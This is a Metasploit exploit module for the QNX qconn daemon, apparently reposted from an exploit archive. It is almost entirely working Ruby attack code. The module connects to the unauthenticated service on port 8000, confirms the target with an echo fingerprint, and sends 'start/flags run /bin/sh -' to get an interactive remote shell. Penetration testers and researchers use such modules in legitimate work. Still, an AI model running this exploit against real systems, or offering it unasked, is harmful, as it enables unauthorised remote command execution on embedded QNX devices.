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QNX Qconn Command Execution Exploit
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'QNX qconn Command Execution', 'Description' => %q{ This module uses the qconn daemon on QNX systems to gain a shell. The QNX qconn daemon does not require authentication and allows remote users to execute arbitrary operating system commands. This module has been tested successfully on QNX Neutrino 6.5.0 (x86) and 6.5.0 SP1 (x86). }, 'License' => MSF_LICENSE, 'Author' => [ 'David Odell', # Discovery 'Mor!p3r', # PoC 'bcoles' # Metasploit ], 'References' => [ ['EDB', '21520'], ['URL', 'https://www.optiv.com/blog/pentesting-qnx-neutrino-rtos'], ['URL', 'http://www.qnx.com/developers/docs/6.5.0SP1/neutrino/utilities/q/qconn.html'], ['URL', 'http://www.qnx.com/developers/docs/6.5.0/topic/com.qnx.doc.neutrino_utilities/q/qconn.html'] ], 'Payload' => { 'BadChars' => '', 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find' } }, 'DefaultOptions' => { 'WfsDelay' => 10, 'PAYLOAD' => 'cmd/unix/interact' }, 'Platform' => 'unix', # QNX Neutrino 'Arch' => ARCH_CMD, 'Targets' => [['Automatic', {}]], 'Privileged' => false, 'DisclosureDate' => '2012-09-04', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [] } ) ) register_options( [ Opt::RPORT(8000), OptString.new('SHELL', [true, 'Path to system shell', '/bin/sh']) ] ) end def check vprint_status('Sending check...') connect res = sock.get_once(-1, 10) return CheckCode::Unknown('Connection failed') unless res return CheckCode::Safe unless res.include?('QCONN') sock.put("service launcher\n") res = sock.get_once(-1, 10) return CheckCode::Safe unless res.to_s.include?('OK') fingerprint = Rex::Text.rand_text_alphanumeric(5..10) sock.put("start/flags run /bin/echo /bin/echo #{fingerprint}\n") return CheckCode::Safe unless res.to_s.include?('OK') Rex.sleep(1) res = sock.get_once(-1, 10) return CheckCode::Safe unless res.to_s.include?(fingerprint) disconnect CheckCode::Vulnerable end def exploit connect res = sock.get_once(-1, 10) fail_with(Failure::Unreachable, 'Connection failed') unless res fail_with(Failure::UnexpectedReply, 'Unexpected reply') unless res.include?('QCONN') sock.put("service launcher\n") res = sock.get_once(-1, 10) fail_with(Failure::UnexpectedReply, 'Unexpected reply') unless res.to_s.include?('OK') print_status('Sending payload...') sock.put("start/flags run #{datastore['SHELL']} -\n") Rex.sleep(1) fail_with(Failure::UnexpectedReply, 'Shell negotiation failed. Unexpected reply.') unless negotiate_shell(sock) print_good('Payload sent successfully') handler end def negotiate_shell(sock) Timeout.timeout(15) do loop do data = sock.get_once(-1, 10) return if data.blank? if data.include?('#') || data.include?('No controlling tty') return true end Rex.sleep(0.5) end end rescue ::Timeout::Error return nil end end # 0day.today [2024-09-20] #